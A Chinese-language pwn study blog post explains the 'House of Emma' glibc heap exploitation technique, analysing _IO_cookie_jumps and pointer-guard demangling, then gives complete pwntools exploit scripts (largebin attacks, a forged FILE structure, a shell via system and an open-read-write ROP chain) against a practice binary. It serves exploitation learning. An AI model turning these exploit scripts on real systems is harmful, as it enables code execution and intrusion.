【我的 PWN 学习手札】House of Emma

House of Emma

参考文献

第七届“湖湘杯” House _OF _Emma | 设计思路与解析-安全KER - 安全资讯平台

文章 - house of emma 心得体会 - 先知社区


前一篇博客【我的 PWN 学习手札】House of Kiwi-CSDN博客的利用手法有两个关键点,其一是利用__malloc_assert进入IO链,其二是劫持全局的_IO_file_jumps_指针。然而当遇到_IO_file_jumps_不可写的时候,House of Kiwi这种方法失效。高版本的libc取消了__malloc_hook__free_hookhook,因此在Kiwi失效的情况下,寻找其他合法的vtable表,即在__start___libc_IO_vtables - __stop___libc_IO_vtables之间的表,看能否被我们利用。

House of Emma主要就是找到了一条利用虚表的链子,通过借助_IO_cookie_jumps中的函数指针来实现类似劫持Hook从而控制程序执行流的效果。

一、源码分析

libio/iofopncook.c中定义了满足vtable合法性要求的表_IO_cookie_jumps,在__start___libc_IO_vtables - __stop___libc_IO_vtables之间

static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {JUMP_INIT_DUMMY,JUMP_INIT(finish, _IO_file_finish),JUMP_INIT(overflow, _IO_file_overflow),JUMP_INIT(underflow, _IO_file_underflow),JUMP_INIT(uflow, _IO_default_uflow),JUMP_INIT(pbackfail, _IO_default_pbackfail),JUMP_INIT(xsputn, _IO_file_xsputn),JUMP_INIT(xsgetn, _IO_default_xsgetn),JUMP_INIT(seekoff, _IO_cookie_seekoff),JUMP_INIT(seekpos, _IO_default_seekpos),JUMP_INIT(setbuf, _IO_file_setbuf),JUMP_INIT(sync, _IO_file_sync),JUMP_INIT(doallocate, _IO_file_doallocate),JUMP_INIT(read, _IO_cookie_read),JUMP_INIT(write, _IO_cookie_write),JUMP_INIT(seek, _IO_cookie_seek),JUMP_INIT(close, _IO_cookie_close),JUMP_INIT(stat, _IO_default_stat),JUMP_INIT(showmanyc, _IO_default_showmanyc),JUMP_INIT(imbue, _IO_default_imbue),
};

表内的

  • _IO_cookie_read
  • _IO_cookie_write
  • _IO_cookie_seek
  • _IO_cookie_close

这几个函数的实现,更具体来说是先提取虚表上的函数指针与参数,然后调用对应函数指针来实现的:

libio/iofopncook.c

static ssize_t
_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLEPTR_DEMANGLE (read_cb);
#endifif (read_cb == NULL)return -1;return read_cb (cfile->__cookie, buf, size);
}static ssize_t
_IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
{struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;cookie_write_function_t *write_cb = cfile->__io_functions.write;
#ifdef PTR_DEMANGLEPTR_DEMANGLE (write_cb);
#endifif (write_cb == NULL){fp->_flags |= _IO_ERR_SEEN;return 0;}ssize_t n = write_cb (cfile->__cookie, buf, size);if (n < size)fp->_flags |= _IO_ERR_SEEN;return n;
}static off64_t
_IO_cookie_seek (FILE *fp, off64_t offset, int dir)
{struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;
#ifdef PTR_DEMANGLEPTR_DEMANGLE (seek_cb);
#endifreturn ((seek_cb == NULL|| (seek_cb (cfile->__cookie, &offset, dir)== -1)|| offset == (off64_t) -1)? _IO_pos_BAD : offset);
}static int
_IO_cookie_close (FILE *fp)
{struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;cookie_close_function_t *close_cb = cfile->__io_functions.close;
#ifdef PTR_DEMANGLEPTR_DEMANGLE (close_cb);
#endifif (close_cb == NULL)return 0;return close_cb (cfile->__cookie);
}

_IO_cookie_read为例,将(FILE *)fp转换为struct _IO_cookie_file,然后从虚表中提取出cookie_read_function_t *read_cb函数指针,将__cookie成员作为其中一个参数进行调用。

/* Special file type for fopencookie function.  */
struct _IO_cookie_file
{struct _IO_FILE_plus __fp;void *__cookie;cookie_io_functions_t __io_functions;
};

可以看到,_IO_cookie_file的结构由来,依旧是采用类似继承的方式,通过扩展_IO_FILE_plus类型,添加__cookie__io_functions成员,即参数和虚表。在libio/bits/types/cookie_io_functions_t.h可以看到对结构体中虚表的声明:

/* The structure with the cookie function pointers.The tag name of this struct is _IO_cookie_io_functions_t topreserve historic C++ mangled names for functions takingcookie_io_functions_t arguments.  That name should not be used innew code.  */
typedef struct _IO_cookie_io_functions_t
{cookie_read_function_t *read;		/* Read bytes.  */cookie_write_function_t *write;	/* Write bytes.  */cookie_seek_function_t *seek;		/* Seek/tell file position.  */cookie_close_function_t *close;	/* Close file.  */
} cookie_io_functions_t;

对于虚表的利用,类似于hook,我们可以劫持这些虚表指针,劫持参数,实现程序执行流的劫持。

然而glibc设计者也不是吃素的,对于这些虚表指针,是经过加密保护的:

#ifdef PTR_DEMANGLEPTR_DEMANGLE (write_cb);
#endif

由于搜出来该宏定义的位置比较多,这里通过调试来确认加解密过程。定位到_IO_cookie_write函数汇编代码,看看函数指针在调用前是如何进行解密的。

pwndbg> x/20i _IO_cookie_write 0x7ffff7c78800 <_IO_cookie_write>:	endbr64 0x7ffff7c78804 <_IO_cookie_write+4>:	push   rbp0x7ffff7c78805 <_IO_cookie_write+5>:	push   rbx0x7ffff7c78806 <_IO_cookie_write+6>:	mov    rbx,rdi0x7ffff7c78809 <_IO_cookie_write+9>:	sub    rsp,0x80x7ffff7c7880d <_IO_cookie_write+13>:	mov    rax,QWORD PTR [rdi+0xf0]0x7ffff7c78814 <_IO_cookie_write+20>:	ror    rax,0x110x7ffff7c78818 <_IO_cookie_write+24>:	xor    rax,QWORD PTR fs:0x300x7ffff7c78821 <_IO_cookie_write+33>:	test   rax,rax0x7ffff7c78824 <_IO_cookie_write+36>:	je     0x7ffff7c78837 <_IO_cookie_write+55>0x7ffff7c78826 <_IO_cookie_write+38>:	mov    rbp,rdx0x7ffff7c78829 <_IO_cookie_write+41>:	mov    rdi,QWORD PTR [rdi+0xe0]0x7ffff7c78830 <_IO_cookie_write+48>:	call   rax0x7ffff7c78832 <_IO_cookie_write+50>:	cmp    rbp,rax0x7ffff7c78835 <_IO_cookie_write+53>:	jle    0x7ffff7c7883a <_IO_cookie_write+58>0x7ffff7c78837 <_IO_cookie_write+55>:	or     DWORD PTR [rbx],0x200x7ffff7c7883a <_IO_cookie_write+58>:	add    rsp,0x80x7ffff7c7883e <_IO_cookie_write+62>:	pop    rbx0x7ffff7c7883f <_IO_cookie_write+63>:	pop    rbp0x7ffff7c78840 <_IO_cookie_write+64>:	ret    
pwndbg> tls
tls : 0x7ffff7fbb740
pwndbg> tele 0x7ffff7fbb740+0x30
00:0000│  0x7ffff7fbb770 ◂— 0xe90cc09eeee59ad5
01:0008│  0x7ffff7fbb778 ◂— 0
... ↓     6 skipped
pwndbg>

可以看到加密的函数指针存在rax寄存器中,通过ror(Rotate Right)循环右移11位,然后和fs:0x30位置的数据进行xor异或,就得到了真正的函数指针。在x86-64linux中使用fs段寄存器来指向线程本地存储,也即tls。上述调试信息打印出来了用于异或的数值。

二、House of Emma利用手法

基于上述源码分析结果,我们可以大致明确我们的目标就是设法劫持_IO_cookie_jumps,调用相关被劫持函数指针从而劫持程序执行流实现利用。

  1. 泄露libcheap基址
  2. largebin attackstderr指针
  3. 第二次largebin attackfs:0x30guard
  4. 修复largebin并申请出堆块
  5. 如果打ROP,则在其他堆块上布置好ROP
  6. 在申请的堆块上伪造_IO_cookie_file类型结构体,设置好vtable指针指向_IO_cookie_jumps的合适偏移,设置好_cookie__io_functions的函数指针
  7. 通过House of Kiwi链子__malloc_assert或其他方式触发IO,触发程序流劫持

pwn.c模板为例

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>char *chunk_list[0x100];#define puts(str) write(1, str, strlen(str)), write(1, "\n", 1)void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);setvbuf(stderr, 0LL, 2, 0LL);while (1) {menu();int choice = get_num();switch (choice) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:_exit(0);default:puts("invalid choice.");}}
}

首先泄露libcheap

add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)# leak libc & heap
delete(2)
delete(0)
show(0)
io.recvline()
heap_base = u64(io.recv(6).ljust(8, b'\x00')) & ~0xfff
success("heap base:" + hex(heap_base))
show(2)
io.recvline()
libc.address = u64(io.recv(6).ljust(8, b'\x00'))-0x1f2ce0
tls = libc.address + 0x3bb740
guard = tls + 0x30
file_addr = heap_base + 0x6d0
success("libc base:" + hex(libc.address))
success("stderr:" + hex(libc.sym['stderr']))
success("tls:" + hex(tls))
success("guard:" + hex(guard))
add(0,0x418)

第一次largebin attack篡改stderr指针

# hijack stderr
edit(2, p64(0) * 3 + p64(libc.sym['stderr'] - 0x20))
delete(0)
add(0,0x408)

在这里插入图片描述

第二次largebin attack修改tls附近的guard

# hijack guard
edit(2,p64(0)*3+p64(guard-0x20))
delete(0)
add(0,0x3f8)

在这里插入图片描述

然后修复并申请出堆heap_base+0x6d0的堆块

# fix & malloc chunk
edit(2,p64(libc.sym['main_arena']+1104)*2+p64(file_addr)*2)
add(2,0x428)

将在申请出来的堆块上布置_IO_cookie_file结构体,计算vtable

pwndbg> p &_IO_cookie_jumps.__write 
$18 = (_IO_write_t *) 0x7ffff7df3b78 <_IO_cookie_jumps+120>
pwndbg> p &_IO_cookie_jumps
$19 = (const struct _IO_jump_t *) 0x7ffff7df3b00 <_IO_cookie_jumps>
pwndbg> p/x 0x7ffff7df3b78-0x7ffff7df3b00
$20 = 0x78
pwndbg> p &_IO_file_jumps.__xsputn 
$21 = (_IO_xsputn_t *) 0x7ffff7df45b8 <__GI__IO_file_jumps+56>
pwndbg> p &_IO_file_jumps
$22 = (const struct _IO_jump_t *) 0x7ffff7df4580 <__GI__IO_file_jumps>
pwndbg> p/x 0x7ffff7df45b8-0x7ffff7df4580
$23 = 0x38
pwndbg> p/x 0x78-0x38
$24 = 0x40

布置结构体,先确保vtable设置合理,能够触发目标函数,然后再填写_cookie字段和__io_functions字段

fake_file = b''
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libc.sym['system'])  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_'])  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8-0x10, b'\x00')  # adjust to vtable
fake_file += p64(libc.sym['_IO_cookie_jumps']+0x40)  # fake vtableedit(2,fake_file)

可以看到,程序通过__malloc_assert进入IO,执行的函数已经被我们替换到_IO_cookie_write

 ► 0x7ffff7c6f055 <__vfprintf_internal+261>    call   qword ptr [rbx + 0x38]      <__SI_IO_new_file_xsputn_12>rdi: 0x55555555c6d0 ◂— 0rsi: 0x7ffff7dba110 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"rdx: 0rcx: 0
----------------------------------------------------------------------------------------------------► 0x7ffff7c6f055 <__vfprintf_internal+261>    call   qword ptr [rbx + 0x38]      <_IO_cookie_write>rdi: 0x55555555c6d0 ◂— 0rsi: 0x7ffff7dba110 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"rdx: 0

然后我们可以简单地设置函数指针为system,参数设为字符串/bin/sh\x00的指针

...
fake_file += p64(libc.sym['_IO_cookie_jumps'] + 0x40)  # fake vtable
fake_file += p64(libc.search(b"/bin/sh\x00").__next__())
fake_file += p64(0)
fake_file += p64(rol(libc.sym['system'] ^ file_addr, 0x11)) #_IO_cookie_write
fake_file += p64(0)
fake_file += p64(0)

然后触发__malloc_assert

# trigger __malloc_assert
edit(3, 0x20 * b'\x00')
gdb.attach(io, 'b __malloc_assert\n')
add(10, 0x500)

从而getshell

在这里插入图片描述

from pwn import *elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.arch = elf.arch
context.log_level = 'debug'
context.os = elf.osdef add(index, size):io.sendafter(b"choice:", b"1")io.sendafter(b"index:", str(index).encode())io.sendafter(b"size:", str(size).encode())def delete(index):io.sendafter(b"choice:", b"2")io.sendafter(b"index:", str(index).encode())def edit(index, content):io.sendafter(b"choice:", b"3")io.sendafter(b"index:", str(index).encode())io.sendafter(b"length:", str(len(content)).encode())io.sendafter(b"content:", content)def show(index):io.sendafter(b"choice:", b"4")io.sendafter(b"index:", str(index).encode())io = process("./pwn")add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)# leak libc & heap
delete(2)
delete(0)
show(0)
io.recvline()
heap_base = u64(io.recv(6).ljust(8, b'\x00')) & ~0xfff
success("heap base:" + hex(heap_base))
show(2)
io.recvline()
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x1f2ce0
tls = libc.address + 0x3bb740
guard = tls + 0x30
file_addr = heap_base + 0x6d0
success("libc base:" + hex(libc.address))
success("stderr:" + hex(libc.sym['stderr']))
success("tls:" + hex(tls))
success("guard:" + hex(guard))
add(0, 0x418)# hijack stderr
edit(2, p64(0) * 3 + p64(libc.sym['stderr'] - 0x20))
delete(0)
add(0, 0x408)# hijack guard
edit(2, p64(0) * 3 + p64(guard - 0x20))
delete(0)
add(0, 0x3f8)# fix & malloc chunk
edit(2, p64(libc.sym['main_arena'] + 1104) * 2 + p64(file_addr) * 2)
add(2, 0x428)payload_addr = heap_base +0x2a0fake_file = b''
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libc.sym['system'])  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_'])  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8 - 0x10, b'\x00')  # adjust to vtable
fake_file += p64(libc.sym['_IO_cookie_jumps'] + 0x40)  # fake vtable
fake_file += p64(libc.search(b"/bin/sh\x00").__next__())
fake_file += p64(0)
fake_file += p64(rol(libc.sym['system'] ^ file_addr, 0x11))
fake_file += p64(0)
fake_file += p64(0)
edit(2, fake_file)# trigger __malloc_assert
edit(3, 0x20 * b'\x00')
gdb.attach(io, 'b _IO_cookie_write\nc')
add(10, 0x500)io.interactive()

如果要走ROP,则可参照【我的 PWN 学习手札】新版本libc下的setcontext与平替gadget_setcontext pwn rdx-CSDN博客,稍微修改一下板子即可

在这里插入图片描述

from pwn import *elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.arch = elf.arch
context.log_level = 'debug'
context.os = elf.osdef add(index, size):io.sendafter(b"choice:", b"1")io.sendafter(b"index:", str(index).encode())io.sendafter(b"size:", str(size).encode())def delete(index):io.sendafter(b"choice:", b"2")io.sendafter(b"index:", str(index).encode())def edit(index, content):io.sendafter(b"choice:", b"3")io.sendafter(b"index:", str(index).encode())io.sendafter(b"length:", str(len(content)).encode())io.sendafter(b"content:", content)def show(index):io.sendafter(b"choice:", b"4")io.sendafter(b"index:", str(index).encode())io = process("./pwn")add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)# leak libc & heap
delete(2)
delete(0)
show(0)
io.recvline()
heap_base = u64(io.recv(6).ljust(8, b'\x00')) & ~0xfff
success("heap base:" + hex(heap_base))
show(2)
io.recvline()
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x1f2ce0
tls = libc.address + 0x3bb740
guard = tls + 0x30
file_addr = heap_base + 0x6d0
success("libc base:" + hex(libc.address))
success("stderr:" + hex(libc.sym['stderr']))
success("tls:" + hex(tls))
success("guard:" + hex(guard))
add(0, 0x418)# hijack stderr
edit(2, p64(0) * 3 + p64(libc.sym['stderr'] - 0x20))
delete(0)
add(0, 0x408)# hijack guard
edit(2, p64(0) * 3 + p64(guard - 0x20))
delete(0)
add(0, 0x3f8)# fix & malloc chunk
edit(2, p64(libc.sym['main_arena'] + 1104) * 2 + p64(file_addr) * 2)
add(2, 0x428)payload_addr = heap_base +0x2a0fake_file = b''
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libc.sym['system'])  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_'])  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8 - 0x10, b'\x00')  # adjust to vtable
fake_file += p64(libc.sym['_IO_cookie_jumps'] + 0x40)  # fake vtable
# fake_file += p64(libc.search(b"/bin/sh\x00").__next__())
fake_file += p64(payload_addr)
fake_file += p64(0)gadget_addr=libc.search(asm('mov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20];'),executable=True).__next__()
success(hex(gadget_addr))# fake_file += p64(rol(libc.sym['system'] ^ file_addr, 0x11))fake_file += p64(rol(gadget_addr ^ file_addr, 0x11))
fake_file += p64(0)
fake_file += p64(0)
edit(2, fake_file)ROP_addr=payload_addr+0x8
flag_addr=payload_addr+0x100
frame_addr=payload_addr+0x150
buf_addr=payload_addr+0x200ROP_chain=b''
# read(3,buf,0x20)
ROP_chain+=p64(libc.search(asm('pop rdi;ret'),executable=True).__next__())
ROP_chain+=p64(3)
ROP_chain+=p64(libc.search(asm('pop rsi;ret'),executable=True).__next__())
ROP_chain+=p64(buf_addr)
ROP_chain+=p64(libc.search(asm('pop rdx ; pop rbx ; ret'),executable=True).__next__()) #所选libc没有直接的pop rdx;ret
ROP_chain+=p64(0x20)
ROP_chain+=p64(0)
ROP_chain+=p64(libc.sym['read'])
# puts(buf) write(1,buf,0x20)
ROP_chain+=p64(libc.search(asm('pop rdi;ret'),executable=True).__next__())
ROP_chain+=p64(1)
ROP_chain+=p64(libc.search(asm('pop rsi;ret'),executable=True).__next__())
ROP_chain+=p64(buf_addr)
ROP_chain+=p64(libc.search(asm('pop rdx ; pop rbx ; ret'),executable=True).__next__()) #所选libc没有直接的pop rdx;ret
ROP_chain+=p64(0x20)
ROP_chain+=p64(0)
ROP_chain+=p64(libc.sym['write'])payload=p64(0)
payload+=p64(frame_addr)
payload+=ROP_chain
payload=payload.ljust(0x100,b'\x00')
payload+=b'./flag\x00'
payload=payload.ljust(0x150,b'\x00')frame=SigreturnFrame()
# open("./flag")
frame.rdi=flag_addr
frame.rip=libc.sym['open']
frame.rsp=payload_addr+0x10
frame=bytearray(frame.__bytes__())
frame[0x20:0x20+8]=p64(libc.sym['setcontext']+61)payload+=bytes(frame)
edit(0,payload)# trigger __malloc_assert
edit(3, 0x20 * b'\x00')
gdb.attach(io, 'b _IO_cookie_write\nc')
add(10, 0x500)io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/28386.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

沃尔玛跨境电商自养号技术指南,助力销量腾飞

在跨境电商领域&#xff0c;沃尔玛平台为卖家提供了广阔的市场空间。对于技术型卖家而言&#xff0c;利用自养号技术提升产品销量是一项极具潜力的策略。本文将深入探讨沃尔玛自养号技术&#xff0c;从原理到实践&#xff0c;为你提供全面的技术指南。 自养号技术原理与架构 自…

Redis|集群 Cluster

文章目录 是什么能干嘛集群算法-分片-槽位slotredis集群的槽位slotredis集群的分片分片槽位的优势slot槽位映射——业界的3种解决方案小厂&#xff1a;哈希取余分区中厂&#xff1a;一致性哈希算法分区大厂&#xff1a;哈希槽分区 面试题&#xff1a;为什么 Redis 集群的最大槽…

DeepSeek R1助力,腾讯AI代码助手解锁音乐创作新

目录 1. DeepSeekR1模型简介2. 歌词创作流程2.1 准备工作2.2 歌词生成技巧 3. 音乐制作环节3.1 主流AI音乐生成平台 4. 歌曲欣赏5. 总结展望 1. DeepSeekR1模型简介 腾讯AI代码助手最新推出的DeepSeekR1模型不仅在代码生成方面表现出色&#xff0c;其强大的自然语言处理能力也…

学习threejs,使用LineBasicMaterial基础线材质

&#x1f468;‍⚕️ 主页&#xff1a; gis分享者 &#x1f468;‍⚕️ 感谢各位大佬 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍⚕️ 收录于专栏&#xff1a;threejs gis工程师 文章目录 一、&#x1f340;前言1.1 ☘️THREE.LineBasicMaterial1.…

Spring Boot 整合 JMS-ActiveMQ,并安装 ActiveMQ

1. 安装 ActiveMQ 1.1 下载 ActiveMQ 访问 ActiveMQ 官方下载页面&#xff0c;根据你的操作系统选择合适的版本进行下载。这里以 Linux 系统&#xff0c;Java环境1.8版本为例&#xff0c;下载 apache-activemq-5.16.7-bin.tar.gz。 1.2 解压文件 将下载的压缩包解压到指定目…

C语言学习笔记-初阶(28)操作符详解2

1. 逗号操作符、逗号表达式 exp1, exp2, exp3, …expN 逗号表达式&#xff0c;就是用逗号隔开的多个表达式。 逗号表达式&#xff0c;从左向右依次执行。整个表达式的结果是最后一个表达式的结果。 //代码1 int a 1; int b 2; int c (a>b, ab10, a, ba1);//逗号表达…

《机器学习数学基础》补充资料:连续正态分布随机变量的熵

《机器学习数学基础》第 416 页给出了连续型随机变量的熵的定义&#xff0c;并且在第 417 页以正态分布为例&#xff0c;给出了符合 N ( 0 , σ 2 ) N(0,\sigma^2) N(0,σ2) 的随机变量的熵。 注意&#xff1a;在第 4 次印刷以及之前的版本中&#xff0c;此处有误&#xff0c…

ReconDreamer:通过在线恢复构建驾驶场景重建的世界模型

24年11月来自极佳科技、北大、理想汽车和中科院自动化所的论文“ReconDreamer: Crafting World Models for Driving Scene Reconstruction via Online Restoration”。 ReconDreamer&#xff0c;通过逐步整合世界模型知识来增强驾驶场景重建。具体来说&#xff0c;DriveRestor…

写一个python程序,找出1000以内的质数

这是一道常考的题&#xff0c;大家一定得学会。 解题思路&#xff1a; 需要理解质数的定义。质数是大于1的自然数&#xff0c;除了1和它本身外没有其他因数。所以&#xff0c;我需要生成2到1000之间的所有数&#xff0c;然后检查每个数是否是质数。 def find_primes(n):&quo…

软考-数据库开发工程师-3.1-数据结构-线性结构

第3章内容比较多&#xff0c;内容考试分数占比较大&#xff0c;6分左右 线性表 1、线性表的定义 一个线性表是n个元素的有限序列(n≥0)&#xff0c;通常表示为(a1&#xff0c;a2, a3,…an). 2、线性表的顺序存储(顺序表) 是指用一组地址连续的存储单元依次存储线性表中的数据元…

【技术点】RAG

本文非自己原创&#xff0c;只是学习过程中资料的总结合并。具体来自于以下链接 https://cloud.google.com/use-cases/retrieval-augmented-generation 一文读懂&#xff1a;大模型RAG&#xff08;检索增强生成&#xff09;含高级方法 RAG基础 定义 RAG&#xff08;检索增…

Pytorch的一小步,昇腾芯片的一大步

Pytorch的一小步&#xff0c;昇腾芯片的一大步 相信在AI圈的人多多少少都看到了最近的信息&#xff1a;PyTorch最新2.1版本宣布支持华为昇腾芯片&#xff01; 1、 发生了什么事儿&#xff1f; 在2023年10月4日PyTorch 2.1版本的发布博客上&#xff0c;PyTorch介绍的beta版本…

Varjo XR-4 混合现实驾驶仿真解决方案

企业级虚拟与混合现实解决方案提供商Varjo今日宣布&#xff0c;其XR-4系列设备已与VI-grade的车辆开发平台VI-WorldSim实现兼容。自2025.1版本起&#xff0c;VI-WorldSim将通过虚幻引擎5的OpenXR接口支持Varjo XR-4系列头显。 VI-WorldSim是一个集成式图形环境&#xff0c;可加…

STM32单片机芯片与内部114 DSP-变换运算 实数 复数 FFT IFFT 不限制点数

目录 一、ST 官方汇编 FFT 库&#xff08;64点&#xff0c; 256 点和 1024 点&#xff09; 1、cr4_fft_xxx_stm32 2、计算幅频响应 3、计算相频响应 二、复数浮点 FFT、IFFT&#xff08;支持单精度和双精度&#xff09; 1、基础支持 2、单精度函数 arm_cfft_f32 3、双精…

【橘子python】在vscode中配置py3

一、简介 这个故事来源于一个奸商&#xff0c;我在某购物平台买了一个pyCharm的那啥码&#xff0c;承诺永不过期&#xff0c;我刚用了不到两个月就拉了。然后再去找商家&#xff0c;发现已经注销跑路了。属实是可恶。 那没办法了&#xff0c;那就用vscode吧&#xff0c;该说不…

LangChain-08 Query SQL DB 通过GPT自动查询SQL

我们需要下载一个 LangChain 官方提供的本地小数据库。 安装依赖 SQL: https://raw.githubusercontent.com/lerocha/chinook-database/master/ChinookDatabase/DataSources/Chinook_Sqlite.sql Shell: pip install --upgrade --quiet langchain-core langchain-community la…

电脑技巧:硬件检测工具 HWiNFO 8.16版本更新功能介绍

目录 一、版本8.16更新说明 二、安装说明 三、使用说明 HWiNFO是一个专业的系统信息检测工具&#xff0c;支持最新的技术和标准&#xff0c;可检查计算机硬件的所有信息。HWiNFO 主要可以显示出处理器、主板及芯片组、PCMCIA接口、BIOS版本、内存等信息&#xff0c;另外HWiN…

【一.大模型认知与核心原理篇】【3. GPT解密:大模型背后的核心技术】

各位科技爱好者,今天咱们要干一票大的——把GPT这个AI界的当红顶流扒个底朝天。你以为ChatGPT会聊天就是它的全部能耐?Too young!这货肚子里藏的可是价值百亿美金的黑科技。咱们不整那些虚头巴脑的概念,直接上手拆解它的技术内脏,让你看看这个每天被调戏的聊天机器人,到底…

VisActor/VTable - 自定义图标

在 VTable 中&#xff0c;我们可以使用自定义图标功能来提高表格的可读性和视觉效果。可以通过 icon 和 headerIcon 来分别分别配置表头及 body 显示的单元格图标&#xff1a; headerIcon 表头单元格图标配置&#xff0c;它可以帮助我们设置表头的图标样式。配置项根据 Column…

transformer稀疏注意力机制的发展

2017年谷歌发表史诗级的论文Attention is All you need提出Transformer&#xff0c;一种全新的神经网络。 存在一个问题训练的时候每个字都要训练&#xff0c;每增加一个token&#xff0c;算力需求是平方的往上翻的&#xff0c;输入10000个token&#xff0c;苏姚计算10000*1000…